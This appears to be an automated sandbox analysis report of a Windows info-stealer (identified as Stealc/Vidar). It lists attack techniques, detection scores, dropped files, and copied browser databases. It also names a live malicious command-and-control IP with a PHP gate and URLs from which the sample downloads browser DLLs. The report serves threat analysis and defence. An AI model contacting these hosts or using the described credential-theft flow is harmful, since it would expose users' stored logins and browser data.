Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php3	100%	URL Reputation	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	GIJKKKFC.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll6	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdowsApps	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllJ	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FHCGHJDBFIIDGDHIJDBG.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllx	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpr	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpla	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393188892.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.37i	file.exe, 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GIJKKKFC.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpV	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpX	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllS	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllK	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	GIJKKKFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllO	file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php914V	file.exe, 00000000.00000002.2365598349.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	false		unknown
https://support.mozilla.org	DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GIJKKKFC.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541814
Start date and time:	2024-10-25 07:27:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	fXg8zgxVTF.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHIEBKKFHIEGCAKECGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAFHIDGIJKJKECBGDBGHDBKFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCGHJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCGHJDBFIIDGDHIJDBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FIDGHIIECGHDHJKFCAEGIJDGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJKKKFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJKKFIJKFCAKJJJKJKFIEBFIDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJJEGHDAEBGCAKJKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJKFIIIJJJECAAEHDBFHJEGD

Download File

